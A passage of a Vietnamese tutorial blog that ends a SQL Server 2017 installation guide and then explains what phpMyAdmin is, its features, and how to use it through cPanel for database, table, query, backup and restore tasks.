    Hướng dẫn cài đặt sql server 2017.

  5. Bước 5: Chọn cho mình ổ đĩa mình muốn cài đặt. Thông thường, ổ đĩa sẽ mặc định là ổ C và bắt đầu cài đặt theo đúng hướng dẫn.
  6. Bước 6: Sau khi tiến hành phần cài đặt xong bạn sẽ nhận được một giao diện, hãy click Install SSMS nhé.  Tiếp đến, tiếp tục làm theo những hướng dẫn cụ thể.
  7. Bước 7: Chương trình sẽ bắt đầu mở một trang web để download SSMS về, bạn có thể click vào phần Download SQL Server Management Studio 17.8. Đây được xem là phần mềm môi trường tích hợp vào để quản lý cơ sở hạ tầng SQL Server. Sau khi cài đặt thành công, nên nhấn vào close để kết thúc quá trình này.
  8. SQL Server 2017 đi kèm với nhiều tính năng mới, chẳng hạn như hỗ trợ Python, SSIS Master Scale Out, các nút phụ.

Sau khi tải về, chúng ta cần tiến hành cài đặt file đó. Cách cài đặt đơn giản, cứ click Yes và Install. Sau đó là cài đặt xong và tiến hành thực hiện các bước đơn giản như đúng hướng dẫn để có được phần mềm đúng nhất.

Để ứng dụng Microsoft SQL Server vào công việc và học tập một cách tốt nhất thì bản thân của mỗi người cần phải xem xét, tham khảo đầy đủ những thông tin quan trọng của phần mềm. Cần xem xét những chú ý quan trọng và các điều cần biết để có thể nhanh chóng xử lý và can thiệp sao cho hiệu quả nhất những yêu cầu chung của phần mềm.

Trên đây là toàn bộ những hướng dẫn cài đặt sql server 2017 mới nhất và hiệu quả nhất cho khách hàng. Chúng ta cùng nhau xem xét những thông tin, nắm rõ những yêu cầu quan trọng và giúp mình có được những hiểu biết đúng nhất.

Tin chắc, phần mềm sql server 2017 khi được cài đặt đúng sẽ là công cụ quản lý cơ sở dữ liệu giúp ích chúng ta có được khoảng thời gian lưu trữ tốt, đem đến những hỗ trợ tuyệt vời cho công việc và quá trình học tập của mình.

Nếu bạn muốn cài đặt hệ thống quản trị cơ sở dữ liệu sql server 2017, hoặc được hướng dẫn cài đặt sql server 2017 chi tiết hãy tham khảo đúng những bước quan trọng trên bài viết để nắm rõ những nội dung và nhanh chóng thực hiện cài đặt nhanh chóng, chính xác, đem đến hiệu quả thiết thực nhất cho mình trong quá trình sử dụng.

 

 

Categories
Hệ quản trị SQL

Phpmyadmin là gì? Hướng dẫn sử dụng phpmyadmin

Phpmyadmin đang được sử dụng phổ biến trên toàn cầu. Bởi những tiện ích mà nó mang lại. Vậy khái niệm của Phpmyadmin là gì? Cùng tìm hiểu bài viết sau để có cách sử dụng hiệu quả nhé.

1. Phpmyadmin là gì?

Phpmyadmin là một công cụ để giúp người quản lý cơ sở dữ liệu mở trình duyệt web, với ngôn ngữ sử dụng chính là PHP. Hiện nay trên toàn thế giới đang sử dụng phổ biến công cụ này. Đặc biệt là các nhà quản trị về database, các database administrator.

Phpmyadmin là gì? Một công cụ hữu ích trong việc quản trị dữ liệu.

Phpadmin có thể thực hiện được nhiều thao tác thông qua giao diện của người dùng như tạo database, cập nhật, sửa đổi, thay đổi, xóa, báo cáo data và phân quyền sử dụng, quản lý đối tượng dùng,…

2. Tại sao bạn nên sử dụng phpmyadmin?

2.1. Tăng hiệu quả cho công tác quản lý cơ sở dữ liệu

Phpmyadmin là gì mà giúp quản lý hiệu quả database? Nó không những là công cụ duyệt cơ sở dữ liệu hoàn hảo mà còn là công cụ để thực hiện các nội dung như truy vấn, cung cấp quản lý quyền sử dụng cơ sở dữ liệu. Có thể nói nó là một công cụ trong quản trị với những tính năng đầy đủ và phổ biến nhất.

Trong khi đang sử dụng cơ sở dữ liệu Mysql phpmyadmin, các bạn vẫn có thể thực hiện được nhiều thao tác khác trong cùng một lúc như: vừa làm việc vừa xử lý tình huống xảy ra.

Không những vậy phần mềm Phpmyadmin còn có công dụng sao lưu tự động nên giúp người dùng quản lý cung cấp thông tin được hiệu quả hơn.

2.2. Được hỗ trợ rộng lớn của cộng đồng

PhpMyAdmin có bản chất là mã nguồn mở nên được phát triển rộng rãi trên toàn cầu. Phần mềm được cộng đồng những người lập trình viên phát triển nên tất cả những ai có khả năng lập trình đều có thể dùng mã lệnh của mình để cung cấp và đóng góp.

2.3. Đa ngôn ngữ

PhpMyAdmin được bảo trì bởi The phpMyAdmin Project và sử dụng được cung cấp với 64 ngôn ngữ trên thế giới. Nên bạn không phải lo lắng về vấn đề ngôn ngữ khi sử dụng phần mềm này nhé!

2.4. Hoàn toàn miễn phí

Phần mềm mang lại nhiều ưu điểm nổi bật cho người sử dụng nhưng đến thời điểm hiện tại nó vẫn là công cụ hoàn toàn miễn phí.

3. Tính năng chung của phpmyadmin

PhpMyAdmin bao gồm các tính năng sau:

– Với tính năng quản lý đối tượng và quyền được sử dụng nên nó có thể tạo người dùng hoặc xóa người dùng

– Tính năng tạo data, thay đổi, xóa bảng, xóa trường, xóa hàng

– Tính năng tìm đối tượng sử dụng trong hệ quản trị cơ sở dữ liệu

– Nhập data, xuất data với nhiều định dạng khác nhau như SQL, XML, CSV

– Các truy vấn được giám sát và theo dõi. Do đó có tính năng truy vấn tùy chỉnh

– Có khả năng sao lưu data ở cả chế độ thủ công

PhpMyAdmin là công dụng đơn giản, dễ thiết lập, dễ sử dụng, dễ dàng cài đặt. Do đó kể cả thiết bị không có kết nối internet người dùng vẫn có thể dễ dàng và nhanh chóng thực hiện thông qua các lệnh.

Với những tính năng tuyệt vời như vậy chắc hẳn các bạn đã hiểu rõ hơn về Phpmyadmin là gì? đúng không nhỉ.

Giao diện công cụ phpmyadmin.

4. Bài viết dưới đây sẽ hướng dẫn cài đặt phpmyadmin

Phần mềm phpmyadmin đã được cài sẵn cùng với các tài khoản lưu trú cung cấp tại máy chủ. Do vậy chúng ta có thể mở phần mềm bằng thao tác từ cPanel đến phpMyAdmin.

Phần mềm cũng có chế độ cài đặt thủ công như sau: Tải phiên bản mới nhất tại trình duyệt web, sau đó Download vào thư mục public_html. Khi tải thành công vào tài khoản, chúng ta tiến hành giải nén thư mục, màn hình xuất hiện một thư mục mới với tiêu đề là phpMyAdmin-X.X.X (xxx chính là phiên bản của phần mềm mà bạn vừa tải xuống).

Truy cập vào thư mục vừa tải được thông qua trình duyệt web. Nhập thông tin vào các trường: tên người dùng, mật khẩu. Sau đó ấn nút Go. Nếu bạn nhập tên người dùng là cPanel, mật khẩu là cPanel thì có nghĩa bạn phải quản lý tất cả các hệ quản trị cơ sở dữ liệu.

5. Cách truy vấn Database Operations

– Bước 1: Mở công cụ cPanel

– Bước 2: Chuyển đến tab Databases

– Bước 3: Chọn bất kỳ một cơ sở dữ liệu nào đó và điều hướng sang tab Operations.

– Bước 4: Trên trang mới sẽ hiển thị các hoạt động trên hệ thống database.

+ Phần Create table shop: Bạn có thể tạo mới với các thao tác như: nhập tên của bạn, nhập số lượng của các trường. Cuối cùng kích vào nút GO

+ Phần Rename database to: Giúp bạn đổi tên của hệ dữ liệu. Nếu đổi tên trực tiếp qua phpMyAdmin sẽ không thực hiện được do không có độc quyền dành cho người dùng.

Do vậy cần phải tạo cơ sở dữ liệu MySQL mới có thể thực hiện được. Khi tạo xong thực hiện thao tác xuất bảng, nhập data mới, xóa data cũ. Thao tác cần thực hiện là cPanel -> MySQL Databases

+ Phần Copy database to: cũng giống như Rename database nhưng không nên thực hiện theo thao tác xóa source database

+ Phần Collation: Đây là phần cuối cùng giúp bạn thay đổi data. Bấm tùy chọn tại một menu rồi bấm GO để xác nhận

6. Thực hiện hoạt động Database Table Operations

– Tại phpMyAdmin các bạn chọn nút table, sau đó ấn vào nút Operations tab. Các thanh công cụ hiện ra, tùy theo mục đích sử dụng của bạn là gì thì sẽ chọn thanh công cụ tương ứng

– Thanh Move table to: Có khả năng di chuyển bảng thành một tên hoàn toàn mới trong hệ data

– Thanh Table options: Có khả năng thay đổi data như đổi tên của bảng, đổi công cụ lưu trữ, chèn các nhận xét vào hệ data,…

– Thanh Copy table to: Có chức năng sao chép data nên bạn có thể tạo tên mới của data hoặc tạo bảng mới trong một hệ quản trị cơ sở dữ liệu khác

– Thanh Table Maintenance: Có công dụng duy trì cơ sở dữ liệu

– Thanh Analyze table: Có chức năng phân tích, lưu trữ key distribution cho bảng data

– Thanh Check table: Có khả năng kiểm tra data để tìm kiếm ra những sự cố hỏng hóc

– Thanh Repair table: Có chức năng sửa chữa khi bảng dữ liệu hỏng

– Thanh Optimize table: Có chức năng phục hồi lại các bảng cơ sở dữ liệu khi bạn lỡ tay xóa hay sửa đổi

– Thanh Flush the table: Có công dụng xóa internal cache KC, tải internal cache

7. Hướng dẫn sử dụng phpmyadmin

7.1. Đăng nhập phpmyadmin

Cách vào phpmyadmin như sau: Truy cập vào cPanel, ở phía bên danh mục trái các bạn chọn một dữ liệu để đi đến hệ thống quản trị của phpMyAdmin. Tại danh mục sẽ có đầy đủ các cơ sở dữ liệu, bạn chỉ cần kích chuột vào tên của một hệ quản trị cơ sở dữ liệu.

Cách đăng nhập của phpmyadmin.

7.2. Quản lý cơ sở dữ liệu của bạn

Để quản lý hệ cơ sở dữ liệu bạn chọn Thanh tab Databases, sau đó đó điền tên, chọn kiểu mã hóa, cuối cùng là ấn vào Create. Kết quả bạn nhận được sẽ hiển thị tại một database ở cột bên trái.

7.3. Quản lý bảng dữ liệu (Table)

Bạn vừa tạo thành công một cơ sở dữ liệu ở cột bên trái, nhấn vào tên dữ liệu đó rồi tìm dòng Create Table để điền tên, trường của bảng mà bạn muốn tạo, cuối cùng nhấn GO.

Một bảng mới hiện ra cho phép bạn điền đầy đủ các thông tin vào trường như tên data, kiểu, giá trị của data và thuộc tính. Khi hoàn tất các thao tác thì bấm GO để lưu lại bảng Data.

Phpmyadmin quản lý tốt thông qua các bảng data.

7.4. Thực hiện các truy vấn

Chọn các bảng data từ bên trái để tìm xem câu lệnh SQL là gì. Sau đó viết lệnh. Để biết lệnh thì đầu tiên bạn cần chọn cơ sở dữ liệu rồi chèn câu lệnh vào, cuối cùng nhấn nút GO.

7.5. Sao lưu cơ sở dữ liệu

Người dùng có thể xuất data ra khỏi hệ thống bằng cú pháp của cơ sở dữ liệu MySQL. Sau đó khi cần có thể khôi phục lại. Nếu sao lưu từ cột bên trái thì chọn Database, tab Export với định dạng là SQL, kiểu sao lưu là Quick.

7.6. Phục hồi cơ sở dữ liệu

Đầu tiên cần tạo một cơ sở dữ liệu mới, sau đó từ cột bên trái các bạn chọn tên data rồi truy cập vào tab Import, chọn tên để tìm các file data, file chuẩn là SQL. Cuối cùng bấm nút GO.

7.7. Bảo mật phpmyadmin

Phần mềm không có tính năng bảo mật cao, do vậy chỉ có một cách duy nhất để bảo mật phpmyadmin đó là các bạn nên hạn chế chế khi truy cập vào phpmyadminF thông qua những địa chỉ có IP cố định.

Với những thông tin ở bài viết trên chắc hẳn các bạn đã hiểu thông tin của hệ thống phpmyadmin là gì? Và cách sử dụng như thế nào cho đúng cũng đã được hướng dẫn ở bài viết. Chúc các bạn luôn là những nhà quản trị dữ liệu thông thái nhé. Bên cạnh đó hãy luôn chờ đón những bài viết tiếp theo của tôi!